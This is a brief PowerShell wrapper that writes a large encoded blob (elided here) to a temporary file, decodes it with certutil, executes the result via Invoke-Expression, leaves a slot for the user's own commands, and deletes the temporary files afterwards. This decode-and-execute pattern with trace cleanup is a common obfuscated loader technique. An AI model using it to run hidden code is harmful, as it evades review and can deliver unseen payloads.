$foo = "[encoded data, 398508 characters]"

$t = New-TemporaryFile
$foo | Out-File $t.FullName
certutil -decode $t.FullName "$($t.FullName).ps1" | Out-Null
IEX "$($t.FullName).ps1"

###################
#
# Put your commands below:
#



###################

del "$($t.FullName)"
del "$($t.FullName).ps1"